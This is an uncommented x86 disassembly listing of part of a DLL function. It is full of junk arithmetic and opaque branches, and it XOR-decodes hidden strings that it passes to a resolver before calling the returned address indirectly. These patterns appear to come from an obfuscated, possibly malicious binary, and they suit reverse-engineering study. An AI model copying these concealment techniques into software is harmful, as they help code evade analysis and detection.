add eax, dword [0x100ad138]
adc edx, dword [0x100ad13c]
mov dword [0x100ad138], eax
mov dword [0x100ad13c], edx
jmp 0x10035af5
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov ecx, dword [0x100adbec]
mov dword [ebp - 0x28], ecx
jmp 0x10035af5
cmp dword [ebp - 0x18], 0
jne 0x10035a6b
mov dword [ebp - 0x298], 1
jmp 0x10035a75
mov dword [ebp - 0x298], 0
movsx edx, byte [str.E2_wcsrchr]
sub edx, 0x1fdbea76
xor edx, dword [ebp - 0x298]
mov dword [ebp - 0x4c], edx
movsx eax, word [ebp - 0x14]
sub eax, dword [0x100ad100]
mov word [ebp - 0x14], ax
push 0
push 0xa3c37b66
mov ecx, dword [0x100ad0fc]
push ecx
mov edx, dword [0x100ad0f8]
push edx
call fcn.1007a8a0
mov word [0x100ad0b8], ax
cmp dword [0x100ad158], 0
je 0x10035ad5
movzx eax, word [ebp - 0x10]
cdq
mov dword [ebp - 0x48c], eax
mov dword [ebp - 0x488], edx
jmp 0x10035ae7
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x48c], eax
mov dword [ebp - 0x488], ecx
mov dx, word [ebp - 0x48c]
mov word [0x100ad0f0], dx
mov eax, dword [ebp - 0x670]
add eax, dword [ebp - 0x184]
mov dword [ebp - 0x9e8], eax
xor ecx, ecx
mov byte [ebp - 0x61], cl
lea edx, [ebp - 0xa8c]
push edx
lea ecx, [ebp - 0x61]
call fcn.100047d0
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xe0], 0
jmp 0x10035b3c
mov eax, dword [ebp - 0xe0]
add eax, 1
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 6
jae 0x10035b9e
mov ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0xdc]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x674], eax
mov ecx, dword [ebp - 0x674]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xdc]
movsx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0x134], dx
mov edx, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xdc]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x678], ecx
mov edx, dword [ebp - 0x678]
mov ax, word [ebp - 0x134]
mov word [edx], ax
jmp 0x10035b2d
mov ecx, 6
shl ecx, 1
mov edx, dword [ebp - 0xdc]
lea eax, [edx + ecx + 2]
mov dword [ebp - 0x67c], eax
xor ecx, ecx
mov edx, dword [ebp - 0x67c]
mov word [edx], cx
mov eax, dword [ebp - 0xdc]
add eax, 2
mov dword [ebp - 0x680], eax
mov ecx, dword [ebp - 0x680]
push ecx
lea edx, [ebp - 0x10d4]
push edx
push 0
push 0
call fcn.10001320
call eax
xor eax, eax
mov byte [ebp - 0x62], al
lea ecx, [ebp - 0xb24]
push ecx
lea ecx, [ebp - 0x62]
call fcn.10004a80
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0xd8], 0
jmp 0x10035c1a
mov edx, dword [ebp - 0xd8]
add edx, 1
mov dword [ebp - 0xd8], edx
cmp dword [ebp - 0xd8], 0xa
jae 0x10035c73
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x7c]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x90c], edx
mov eax, dword [ebp - 0x90c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x7c]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0x136], cx
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x7c]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x910], eax
mov ecx, dword [ebp - 0x910]
mov dx, word [ebp - 0x136]
mov word [ecx], dx
jmp 0x10035c0b
mov eax, 0xa
shl eax, 1
mov ecx, dword [ebp - 0x7c]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x914], edx
xor eax, eax
mov ecx, dword [ebp - 0x914]
mov word [ecx], ax
mov edx, dword [ebp - 0x7c]
add edx, 2
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x538]
push eax
lea ecx, [ebp - 0x10d4]
push ecx
push 0
push 0
call fcn.10001320
call eax
xor edx, edx
mov byte [ebp - 0x120], dl
mov byte [ebp - 0x164], 0x5d
xor eax, eax
mov byte [ebp - 0x163], al
mov ecx, 0x73
mov word [ebp - 0x162], cx
mov edx, 0x30
mov word [ebp - 0x160], dx
mov eax, 0x2e
mov word [ebp - 0x15e], ax
mov ecx, 0x2d
mov word [ebp - 0x15c], cx
xor edx, edx
mov word [ebp - 0x15a], dx
mov dword [ebp - 0x80], 0
jmp 0x10035d19
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 4
jae 0x10035d6a
mov ecx, dword [ebp - 0x80]
lea edx, [ebp + ecx*2 - 0x162]
mov dword [ebp - 0x53c], edx
mov eax, dword [ebp - 0x53c]
movzx ecx, word [eax]
movsx edx, byte [ebp - 0x164]
xor ecx, edx
mov word [ebp - 0x138], cx
mov eax, dword [ebp - 0x80]
lea ecx, [ebp + eax*2 - 0x162]
mov dword [ebp - 0x540], ecx
mov edx, dword [ebp - 0x540]
mov ax, word [ebp - 0x138]
mov word [edx], ax
jmp 0x10035d10
mov ecx, 4
shl ecx, 1
lea edx, [ebp + ecx - 0x162]
mov dword [ebp - 0x544], edx
xor eax, eax
mov ecx, dword [ebp - 0x544]
mov word [ecx], ax
lea edx, [ebp - 0x162]
mov dword [ebp - 0x548], edx
mov eax, dword [ebp - 0x548]
push eax
lea ecx, [ebp - 0x10d4]
push ecx
push 0
push 0
call fcn.10001320
call eax
mov edx, 0xffffd623
mov word [0x100ad11c], dx
push 0
push 0x8b
mov eax, dword [0x100ad0ec]
push eax
mov ecx, dword [0x100ad0e8]
push ecx
call fcn.1007a8a0
mov byte [ebp - 4], al
movzx edx, byte [ebp - 1]
not edx
mov eax, 0xa92a
sub eax, edx
jne 0x10035df1
mov dword [ebp - 0x29c], 1
jmp 0x10035dfb
mov dword [ebp - 0x29c], 0
imul eax, dword [ebp - 0x29c], 0x1347
cdq
push edx
push eax
mov ecx, dword [0x100ad164]
push ecx
mov edx, dword [0x100ad160]
push edx
call fcn.1007a8a0
not eax
not edx
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
imul eax, dword [ebp - 0x24], 0x470b
mov word [ebp - 0x14], ax
movsx ecx, byte [0x100ad043]
imul edx, ecx, 0xea
and edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
movsx eax, word [0x100ad11c]
movsx ecx, word [ebp - 0xc]
add eax, ecx
cdq
mov dword [ebp - 0x740], eax
mov dword [ebp - 0x73c], edx
mov edx, dword [0x100ad150]
cmp edx, dword [ebp - 0x740]
jne 0x100360b4
mov eax, dword [0x100ad154]
cmp eax, dword [ebp - 0x73c]
jne 0x100360b4
movzx ecx, byte [ebp - 3]
test ecx, ecx
je 0x10035f34
mov edx, dword [ebp - 0x24]
sub edx, 0x80b2
mov dword [0x100ad0a8], edx
mov ecx, dword [0x100ad0e8]
add ecx, 0x47
mov esi, dword [0x100ad0ec]
adc esi, 0
movzx eax, byte [ebp - 2]
cdq
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov byte [ebp - 2], al
movsx edx, byte [0x100ad043]
movzx eax, word [ebp - 0x10]
add edx, eax
movzx ecx, byte [0x100ad00f]
movsx eax, word [ebp - 0x14]
add ecx, eax
add edx, ecx
mov dword [0x100ad0b4], edx
cmp dword [ebp - 0x20], 0
je 0x10035efe
movzx eax, byte [ebp - 3]
cdq
mov dword [ebp - 0x494], eax
mov dword [ebp - 0x490], edx
jmp 0x10035f16
mov ecx, dword [0x100ad160]
mov edx, dword [0x100ad164]
mov dword [ebp - 0x494], ecx
mov dword [ebp - 0x490], edx
mov al, byte [ebp - 0x494]
mov byte [ebp - 2], al
imul ecx, dword [ebp - 0x28], 0xece427a0
xor edx, edx
mov dword [0x100ad108], ecx
mov dword [0x100ad10c], edx
mov eax, dword [0x100ad110]
or eax, dword [0x100ad114]
je 0x10035f54
movzx eax, word [ebp - 0x10]
cdq
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x498], edx
jmp 0x10035f6c
mov ecx, dword [0x100ad150]
mov edx, dword [0x100ad154]
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x498], edx
mov ax, word [ebp - 0x49c]
mov word [0x100ad0b0], ax
movsx ecx, byte [0x100ad09a]
add ecx, dword [0x100ad15c]
mov byte [0x100ad09a], cl
movsx eax, word [0x100ad0bc]
sub eax, 0xf5
cdq
mov dword [0x100ad150], eax
mov dword [0x100ad154], edx
movzx eax, byte [str.px_04X_]
cdq
mov ecx, eax
mov esi, edx
movsx eax, word [ebp - 0xc]
cdq
add eax, 0x2929b9b7
adc edx, 0x34dbb
mov dword [ebp - 0x748], ecx
mov dword [ebp - 0x744], esi
mov dword [ebp - 0x750], eax
mov dword [ebp - 0x74c], edx
mov edx, dword [ebp - 0x748]
cmp edx, dword [ebp - 0x750]
jne 0x100360b4
mov eax, dword [ebp - 0x744]
cmp eax, dword [ebp - 0x74c]
jne 0x100360b4
mov dword [ebp - 0x188], 0
jmp 0x10036017
mov ecx, dword [ebp - 0x188]
add ecx, 1
mov dword [ebp - 0x188], ecx
cmp dword [ebp - 0x188], 0x25e
jge 0x10036052
movzx edx, byte [str.px_04X_]
push edx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [ebp - 0x20], eax
mov eax, dword [0x100ad150]
add eax, 1
mov ecx, dword [0x100ad154]
adc ecx, 0
mov dword [0x100ad150], eax
mov dword [0x100ad154], ecx
jmp 0x10036008
jmp 0x10035dae
movzx edx, byte [0x100ad0a6]
test edx, edx
jne 0x100360cf
mov eax, 0x4d84862d
or eax, 0x33aa5
je 0x10036209
mov ecx, dword [0x100ad140]
not ecx
xor edx, edx
mov esi, dword [0x100ad108]
mov edi, dword [0x100ad10c]
add esi, ecx
adc edi, edx
mov eax, dword [ebp - 0x18]
cdq
mov ecx, dword [ebp - 0x38]
sub eax, dword [ebp - 0x3c]
sbb edx, ecx
and esi, eax
and edi, edx
mov eax, dword [ebp - 0x18]
cdq
mov ecx, eax
mov ebx, edx
mov eax, dword [ebp - 0x24]
cdq
mov dword [ebp - 0x550], edi
mov edi, dword [0x100ad0d8]
mov dword [ebp - 0x54c], esi
mov esi, dword [0x100ad0dc]
add edi, eax
adc esi, edx
sub ecx, edi
sbb ebx, esi
mov esi, dword [ebp - 0x54c]
sub esi, ecx
mov ecx, dword [ebp - 0x550]
sbb ecx, ebx
mov dword [ebp - 0x758], esi
mov dword [ebp - 0x754], ecx
mov edx, dword [ebp - 0x758]
or edx, dword [ebp - 0x754]
jne 0x1003615b
mov dword [ebp - 0x2a0], 1
jmp 0x10036165
mov dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x100ad118]
mov edx, 1
imul eax, edx, 0x2c
mov byte [eax + 0x100d5750], cl
mov ecx, dword [ebp - 0x48]
sub ecx, 0x64e4d8bd
xor edx, edx
mov dword [0x100ad0d8], ecx
mov dword [0x100ad0dc], edx
mov eax, dword [ebp - 0x18]
cdq
push 0x1b47b
push 0x357f727b
push edx
push eax
call fcn.1007a8a0
mov byte [ebp - 3], al
movsx eax, word [0x100ad130]
movzx ecx, word [0x100ad0f0]
add eax, ecx
jne 0x100361cf
mov dword [ebp - 0x2a4], 1
jmp 0x100361d9
mov dword [ebp - 0x2a4], 0
movzx edx, byte [ebp - 2]
add edx, dword [ebp - 0x2a4]
movsx eax, byte [0x100ad00d]
xor eax, dword [ebp - 0x1c]
imul edx, eax
mov word [0x100ad0c4], dx
movsx ecx, word [ebp - 0xc]
add ecx, 0xea
mov dword [ebp - 0x24], ecx
jmp 0x10036312
cmp dword [0x100ad118], 0
je 0x1003621e
movzx edx, byte [ebp - 4]
test edx, edx
jne 0x100362ac
movsx eax, byte [0x100ad00e]
cdq
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], esi
movzx edx, byte [ebp - 2]
imul edx, dword [ebp - 0x2c]
mov byte [ebp - 2], dl
mov byte [ebp - 2], 8
cmp dword [ebp - 0x20], 0
je 0x10036265
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2a8], eax
jmp 0x1003626f
movsx ecx, word [ebp - 0x14]
mov dword [ebp - 0x2a8], ecx
mov edx, dword [ebp - 0x2a8]
mov dword [ebp - 0x18], edx
movzx eax, word [0x100ad0f0]
cdq
mov ecx, dword [0x100ad0d8]
mov esi, dword [0x100ad0dc]
and ecx, eax
and esi, edx
mov edx, dword [0x100ad0d8]
mov eax, dword [0x100ad0dc]
add edx, ecx
adc eax, esi
mov dword [0x100ad0d8], edx
mov dword [0x100ad0dc], eax
jmp 0x10036312
movsx ecx, byte [0x100ad073]
test ecx, ecx
jne 0x100362bf
movzx edx, byte [ebp - 4]
test edx, edx
je 0x100362ca
movsx eax, byte [0x100ad073]
test eax, eax
je 0x10036312
movzx ecx, word [0x100ad0b8]
mov edx, dword [ebp - 0x24]
add edx, dword [0x100ad0c8]
not edx
imul ecx, edx
mov dword [ebp - 0x28], ecx
mov eax, dword [0x100ad140]
shr eax, 7
mov dword [ebp - 0x24], eax
imul eax, dword [ebp - 0x1c], 0x2cc646e0
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
movsx ecx, word [0x100ad11c]
movzx edx, byte [str.px_04X_]
add ecx, edx
mov word [0x100ad11c], cx
lea eax, [ebp - 0x10d4]
push eax
mov ecx, dword [0x101fb58c]
push ecx
call fcn.10040f50
test eax, eax
je 0x100375b2
movsx edx, byte [0x100ad042]
xor edx, dword [ebp - 0x24]
jne 0x10036345
mov dword [ebp - 0x2ac], 1
jmp 0x1003634f
mov dword [ebp - 0x2ac], 0
movzx eax, word [ebp - 0x10]
mov ecx, 0x14
sub ecx, eax
imul ecx, dword [ebp - 0x2ac]
mov dword [ebp - 0x20], ecx
xor edx, edx
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x30], edx
movsx eax, word [ebp - 0xc]
mov ecx, dword [ebp - 0x28]
imul ecx, eax
mov edx, dword [ebp - 0x28]
sub edx, ecx
mov dword [ebp - 0x28], edx
movsx eax, word [0x100ad0c4]
mov ecx, dword [0x100ad118]
xor eax, ecx
cdq
mov esi, eax
sub esi, dword [0x100ad0f8]
mov eax, dword [0x100ad158]
xor eax, dword [ebp - 0x48]
cdq
mov edi, eax
mov ecx, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x30]
not ecx
not ebx
mov eax, dword [0x100ad15c]
not eax
cdq
push edx
push eax
push ebx
push ecx
call fcn.1007a8a0
add edi, eax
add esi, edi
mov word [ebp - 0x14], si
movsx edx, word [0x100ad11c]
test edx, edx
je 0x100363e9
movsx eax, word [0x100ad11c]
cdq
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x4a0], edx
jmp 0x10036400
mov eax, dword [0x100ad0f8]
mov ecx, dword [0x100ad0fc]
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x4a0], ecx
mov dl, byte [ebp - 0x4a4]
mov byte [0x100ad042], dl
cmp dword [ebp - 0x2c], 0
je 0x1003663f
mov eax, 3
mov word [ebp - 0x10], ax
mov eax, dword [ebp - 0x24]
sar eax, 7
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x48]
add eax, 0xf264
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov ecx, 1
imul edx, ecx, 0x2665
mov al, byte [edx + 0x100df658]
mov byte [0x100ad0a6], al
movsx ecx, byte [0x100ad073]
add ecx, dword [ebp - 0x4c]
mov byte [0x100ad037], cl
movzx edx, word [ebp - 0x10]
mov dword [ebp - 0x2b0], edx
cmp dword [ebp - 0x2b0], 3
ja case.default.0x1003647e
mov eax, dword [ebp - 0x2b0]
jmp dword [eax*4 + 0x1003b8a8]
movzx ecx, word [0x100ad0b8]
test ecx, ecx
je 0x1003649c
movzx edx, byte [ebp - 3]
mov dword [ebp - 0x2b4], edx
jmp 0x100364a6
movzx eax, word [ebp - 0x10]
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x2b4]
cdq
mov dword [0x100ad150], eax
mov dword [0x100ad154], edx
movzx eax, byte [ebp - 4]
add eax, 0x7a70
cdq
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
movzx eax, byte [ebp - 1]
cdq
add eax, 0x9e1fd091
mov word [0x100ad120], ax
mov cl, byte [0x100adbec]
mov byte [ebp - 3], cl
movsx eax, word [0x100ad0d0]
add eax, 0xfb
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], esi
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x9ec], eax
sub edx, 0xcd
mov dword [ebp - 0x24], edx
jmp case.default.0x1003647e
mov ecx, 2
imul edx, ecx, 0xa8
mov ax, word [edx + 0x100df228]
mov word [0x100ad0f0], ax
mov cx, word [0x100ad0bc]
mov edx, 2
imul eax, edx, 0x1ecd
mov word [eax + 0x101f0f48], cx
xor ecx, ecx
mov dword [0x100ad108], 1
mov dword [0x100ad10c], ecx
jmp case.default.0x1003647e
movsx edx, byte [str.E2_wcsrchr]
test edx, edx
jne 0x1003657c
mov dword [ebp - 0x2b8], 1
jmp 0x10036586
mov dword [ebp - 0x2b8], 0
movzx eax, byte [ebp - 1]
imul eax, dword [ebp - 0x2b8]
xor eax, 0xffffff5e
jne 0x100365a4
mov dword [ebp - 0x2bc], 1
jmp 0x100365ae
mov dword [ebp - 0x2bc], 0
movsx ecx, byte [0x100ad042]
mov edx, dword [ebp - 0x24]
not edx
sub ecx, edx
imul ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x2bc]
not ecx
mov word [0x100ad11c], cx
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov cl, 3
call fcn.1007a9b0
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [0x100ad0f8], 0xab4cd262
mov dword [0x100ad0fc], eax
jmp case.default.0x1003647e
movsx ecx, word [ebp - 0xc]
imul edx, ecx, 0xd7
movzx eax, word [ebp - 8]
add eax, edx
mov word [ebp - 8], ax
movsx ecx, word [0x100ad0c0]
mov dword [ebp - 0x2c], ecx
movsx eax, byte [0x100ad09a]
cdq
sub eax, 0x1fc45ba4
sbb edx, 0x4190b
add eax, dword [0x100ad110]
adc edx, dword [0x100ad114]
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
jmp 0x100366c6
mov edx, 0xfffffffe
test edx, edx
je 0x100366c6
mov eax, dword [0x100adbec]
mov dword [ebp - 0x48], eax
movsx eax, word [ebp - 0xc]
cdq
mov ecx, eax
mov esi, edx
mov edx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x34]
sbb esi, edx
mov eax, dword [0x100ad0a8]
cdq
mov edi, dword [0x100ad128]
mov ebx, dword [0x100ad12c]
add edi, eax
adc ebx, edx
xor ecx, edi
xor esi, ebx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], esi
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x18]
add ecx, eax
mov dword [ebp - 0x18], ecx
movsx edx, byte [str.ZFreeSid]
and edx, dword [ebp - 0x20]
movsx eax, byte [str.ZFreeSid]
imul eax, edx
mov byte [str.ZFreeSid], al
movzx ecx, byte [0x100ad00f]
sub ecx, 0x3a1a95a9
movsx edx, word [0x100ad0cc]
sub edx, ecx
mov word [0x100ad0cc], dx
mov eax, dword [0x100adbec]
mov dword [ebp - 0x18c], eax
movzx ecx, byte [ebp - 2]
movsx edx, word [ebp - 0xc]
xor ecx, edx
mov byte [ebp - 2], cl
mov eax, 0xffff9e2d
mov word [0x100ad0b0], ax
movzx ecx, word [0x100ad0ac]
mov edx, dword [ebp - 0x4c]
xor edx, ecx
jne 0x10036703
mov dword [ebp - 0x2c0], 1
jmp 0x1003670d
mov dword [ebp - 0x2c0], 0
mov eax, dword [ebp - 0x28]
xor eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0x2c0]
add eax, dword [0x100ad138]
not eax
mov byte [0x100ad00e], al
mov ecx, dword [ebp - 0x18c]
add ecx, 0x22e
mov dword [ebp - 0x554], ecx
movsx edx, word [ebp - 0xc]
shl edx, 4
mov dword [ebp - 0x28], edx
movsx eax, word [0x100ad0d0]
sub eax, 0x2898
mov dword [0x100ad0b4], eax
movsx eax, byte [0x100ad00d]
cdq
mov ecx, dword [0x100ad154]
push ecx
mov ecx, dword [0x100ad150]
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
mov esi, edx
movsx eax, byte [0x100ad00d]
cdq
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov byte [0x100ad00d], al
movzx edx, word [0x100ad0ac]
movzx eax, word [ebp - 8]
sub edx, eax
mov byte [str.ZFreeSid], dl
movsx ecx, word [0x100ad11c]
add ecx, 0xd1
mov dword [ebp - 0x20], ecx
mov dx, word [0x100adbec]
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x18c]
add eax, 0x5cd
mov dword [ebp - 0x190], eax
mov ecx, dword [0x100ad138]
not ecx
mov esi, dword [0x100ad13c]
not esi
movsx eax, word [ebp - 0xc]
cdq
mov dword [ebp - 0x760], ecx
mov dword [ebp - 0x75c], esi
mov dword [ebp - 0x768], eax
mov dword [ebp - 0x764], edx
mov edx, dword [ebp - 0x75c]
cmp edx, dword [ebp - 0x764]
jb 0x10036829
ja 0x10036814
mov eax, dword [ebp - 0x760]
cmp eax, dword [ebp - 0x768]
jbe 0x10036829
movsx ecx, word [0x100ad0bc]
mov edx, dword [0x100ad0e0]
or edx, ecx
jne 0x100368f6
mov eax, dword [ebp - 0x2c]
add eax, 0x5979
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x4c], 0
jne 0x1003684a
mov dword [ebp - 0x2c4], 1
jmp 0x10036854
mov dword [ebp - 0x2c4], 0
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x2c4]
jne 0x1003686b
mov dword [ebp - 0x2c8], 1
jmp 0x10036875
mov dword [ebp - 0x2c8], 0
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x2c8]
mov edx, dword [0x100ad118]
add edx, dword [ebp - 0x18]
mov eax, 0xb64c
sub eax, edx
imul ecx, eax
mov dword [ebp - 0x1c], ecx
movzx eax, byte [ebp - 2]
cdq
mov ecx, eax
mov esi, edx
movsx eax, word [ebp - 0xc]
cdq
or eax, dword [ebp - 0x44]
or edx, dword [ebp - 0x40]
sub ecx, eax
sbb esi, edx
movzx eax, word [0x100ad0b8]
movsx edx, byte [0x100ad042]
add edx, dword [0x100ad118]
imul eax, edx
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [0x100ad15c], eax
movzx eax, word [ebp - 8]
sub eax, 0x8e
mov dword [ebp - 0x18], eax
movzx eax, word [ebp - 0x10]
cdq
add eax, 0x949b04d1
adc edx, 0xcb2d0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
jmp 0x1003694e
movzx ecx, word [ebp - 0x10]
add ecx, 0x45
movsx edx, word [ebp - 0xc]
sub edx, ecx
mov word [ebp - 0xc], dx
mov eax, dword [0x100ad0a8]
cdq
mov ecx, eax
add ecx, dword [ebp - 0x54]
not ecx
movsx edx, byte [0x100ad09a]
mov eax, dword [ebp - 0x4c]
sub eax, edx
not eax
cdq
add ecx, eax
not ecx
mov word [0x100ad0b8], cx
mov al, byte [ebp - 0x54]
mov ecx, 1
imul edx, ecx, 0x6824
mov byte [edx + 0x100df658], al
movzx eax, byte [ebp - 2]
sar eax, 3
mov byte [0x100ad072], al
mov ecx, dword [ebp - 0x18c]
add ecx, 0x27e
mov dword [ebp - 0x9f0], ecx
mov dword [0x100ad100], 0xb0
mov edx, 0x9c
mov word [ebp - 0x10], dx
mov eax, dword [ebp - 0x18]
shl eax, 3
mov byte [0x100ad00d], al
imul eax, dword [ebp - 0x2c], 0x260ea368
cdq
mov dword [0x100ad150], eax
mov dword [0x100ad154], edx
movsx eax, byte [0x100ad09a]
cdq
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov dword [ebp - 0x9f4], edx
add ecx, eax
mov byte [ebp - 4], cl
movsx eax, word [ebp - 0xc]
and eax, 0xb3
movzx ecx, word [0x100ad0ac]
sub ecx, eax
mov word [0x100ad0ac], cx
mov edx, 0x7f39
mov word [ebp - 0x14], dx
movsx eax, word [0x100ad0d0]
mov ecx, dword [ebp - 0x20]
add ecx, 0xa268
cmp eax, ecx
jne 0x10036bbb
mov edx, dword [ebp - 0x20]
xor eax, eax
add edx, dword [0x100ad0e8]
adc eax, dword [0x100ad0ec]
mov dword [ebp - 0x770], edx
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x770], 1
jne 0x10036bbb
cmp dword [ebp - 0x76c], 0
jne 0x10036bbb
movzx ecx, byte [str.px_04X_]
cmp dword [ebp - 0x2c], ecx
jg 0x10036acf
movzx edx, byte [ebp - 4]
mov dword [0x100ad15c], edx
mov al, byte [0x100adbec]
mov byte [0x100ad00f], al
mov ecx, dword [0x100ad0d8]
mov edx, dword [0x100ad0dc]
mov dword [ebp - 0x9f8], edx
xor ecx, 0xd2b7
mov word [ebp - 8], cx
cmp dword [0x100ad100], 0
je 0x10036a83
mov eax, dword [0x100ad160]
mov ecx, dword [0x100ad164]
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4a8], ecx
jmp 0x10036a97
movzx eax, word [0x100ad0b8]
cdq
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4a8], edx
mov dl, byte [ebp - 0x4ac]
mov byte [ebp - 2], dl
mov eax, dword [0x100ad160]
add eax, 0x8d7db203
mov ecx, dword [0x100ad164]
adc ecx, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
movzx edx, word [ebp - 0x10]
add edx, dword [ebp - 0x4c]
movzx eax, word [ebp - 0x10]
add eax, edx
mov word [ebp - 0x10], ax
jmp 0x10036b59
movsx ecx, word [0x100ad0e4]
imul edx, ecx, 0x312c
mov byte [ebp - 4], dl
movsx eax, word [0x100ad130]
xor eax, dword [ebp - 0x1c]
jne 0x10036af7
mov dword [ebp - 0x2cc], 1
jmp 0x10036b01
mov dword [ebp - 0x2cc], 0
mov ecx, dword [ebp - 0x2cc]
mov dword [ebp - 0x2c], ecx
mov dl, byte [0x100ad037]
sub dl, 1
mov byte [0x100ad037], dl
mov dword [ebp - 0x20], 0xb0
movzx eax, word [0x100ad0b8]
movzx ecx, word [0x100ad0b8]
sub eax, ecx
movzx edx, word [0x100ad0b8]
sub edx, eax
mov word [0x100ad0b8], dx
mov eax, dword [0x100ad108]
mov ecx, dword [0x100ad10c]
mov dword [ebp - 0x9fc], ecx
xor eax, 0x55f0555e
mov byte [ebp - 3], al
jmp 0x10036960
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
push 0
push 0x35
push eax
push edx
call fcn.1007a8a0
mov word [ebp - 0xc], ax
movsx ecx, byte [str.E2_wcsrchr]
add ecx, 0x12cc7cd7
mov byte [0x100ad0a6], cl
cmp dword [ebp - 0x18], 0
je 0x10036bf7
mov edx, dword [0x100ad0e0]
mov dword [ebp - 0x2d0], edx
jmp 0x10036c02
mov eax, dword [0x100ad0b4]
mov dword [ebp - 0x2d0], eax
mov cx, word [ebp - 0x2d0]
mov word [0x100ad0ac], cx
movzx edx, word [ebp - 8]
movsx eax, byte [str.E2_wcsrchr]
add edx, eax
jne 0x10036c2b
mov dword [ebp - 0x2d8], 1
jmp 0x10036c35
mov dword [ebp - 0x2d8], 0
movsx ecx, word [0x100ad11c]
test ecx, ecx
jne 0x10036c4c
mov dword [ebp - 0x2d4], 1
jmp 0x10036c56
mov dword [ebp - 0x2d4], 0
movzx edx, word [0x100ad120]
not edx
add edx, dword [ebp - 0x2d4]
movsx eax, word [0x100ad130]
imul edx, eax
add edx, dword [ebp - 0x2d8]
mov byte [0x100ad073], dl
movzx ecx, word [ebp - 8]
add ecx, 0x1a9b0be8
mov byte [0x100ad00d], cl
imul edx, dword [ebp - 0x48], 0xae5c79f1
movzx eax, word [ebp - 0x10]
or eax, edx
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x190]
imul ecx, dword [ebp - 0x190]
sub ecx, dword [ebp - 0x190]
cmp dword [ebp - 0x554], ecx
je 0x100375ad
mov edx, 8
imul ecx, edx, 0x2e
movsx eax, byte [0x100ad00d]
cdq
mov esi, dword [ecx + 0x101ebf34]
push esi
mov ecx, dword [ecx + 0x101ebf30]
push ecx
push edx
push eax
call fcn.1007a8a0
mov byte [0x100ad00d], al
mov byte [str.ZFreeSid], 0x5a
mov ecx, dword [0x100ad0d8]
mov esi, dword [0x100ad0dc]
movzx eax, byte [ebp - 3]
cdq
mov dword [ebp - 0x778], ecx
mov dword [ebp - 0x774], esi
mov dword [ebp - 0x780], eax
mov dword [ebp - 0x77c], edx
mov edx, dword [ebp - 0x778]
cmp edx, dword [ebp - 0x780]
